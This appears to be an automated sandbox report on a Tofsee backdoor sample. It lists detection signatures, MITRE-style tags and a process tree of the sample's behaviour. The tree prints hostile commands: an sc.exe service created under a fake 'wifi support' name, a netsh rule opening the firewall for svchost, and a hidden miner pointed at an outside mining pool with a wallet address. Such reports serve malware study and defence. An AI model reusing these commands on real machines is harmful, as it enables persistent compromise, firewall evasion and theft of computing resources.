Overview

overview

10

Static

static

905c540879...8f.exe

windows7_x64

10

905c540879...8f.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    08/11/2020, 17:47

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General

  • Target
    905c5408796de1d1f45ed4cd32db2f847e394708ba47833b63fadb1373e45a8f.exe
  • Size 14.2MB
  • Sample201108-s1952fynx2
  • SHA256 905c5408796de1d1f45ed4cd32db2f847e394708ba47833b63fadb1373e45a8f
  • MD5 SHA1 SHA512
Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\905c5408796de1d1f45ed4cd32db2f847e394708ba47833b63fadb1373e45a8f.exe
    "C:\Users\Admin\AppData\Local\Temp\905c5408796de1d1f45ed4cd32db2f847e394708ba47833b63fadb1373e45a8f.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4768
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ivixyugh\
      2⤵
        PID:440
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ultrbwdr.exe" C:\Windows\SysWOW64\ivixyugh\
        2⤵
          PID:4152
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ivixyugh binPath= "C:\Windows\SysWOW64\ivixyugh\ultrbwdr.exe /d\"C:\Users\Admin\AppData\Local\Temp\905c5408796de1d1f45ed4cd32db2f847e394708ba47833b63fadb1373e45a8f.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3852
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ivixyugh "wifi internet conection"
            2⤵
              PID:3032
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ivixyugh
              2⤵
                PID:4444
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:4544
              • C:\Windows\SysWOW64\ivixyugh\ultrbwdr.exe
                C:\Windows\SysWOW64\ivixyugh\ultrbwdr.exe /d"C:\Users\Admin\AppData\Local\Temp\905c5408796de1d1f45ed4cd32db2f847e394708ba47833b63fadb1373e45a8f.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:4468
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:876
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1816

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/876-17-0x0000000004250000-0x000000000445F000-memory.dmp
                    Download

                    memory/876-18-0x0000000002530000-0x0000000002536000-memory.dmp
                    Download

                    memory/876-22-0x0000000002FE0000-0x0000000002FE7000-memory.dmp
                    Download

                    memory/876-21-0x0000000008DD0000-0x00000000091DB000-memory.dmp
                    Download

                    memory/876-20-0x0000000002FD0000-0x0000000002FD5000-memory.dmp
                    Download

                    memory/876-14-0x00000000024C0000-0x00000000024D5000-memory.dmp
                    Download

                    memory/876-19-0x0000000002590000-0x00000000025A0000-memory.dmp
                    Download

                    memory/1816-23-0x0000000002A30000-0x0000000002B21000-memory.dmp
                    Download

                    memory/4468-12-0x0000000005060000-0x0000000005061000-memory.dmp
                    Download

                    memory/4468-11-0x0000000004851000-0x0000000004852000-memory.dmp
                    Download

                    memory/4768-0-0x00000000049E6000-0x00000000049E7000-memory.dmp
                    Download

                    memory/4768-1-0x00000000064A0000-0x00000000064A1000-memory.dmp
                    Download

                    memory/4768-2-0x00000000064A0000-0x00000000064A1000-memory.dmp
                    Download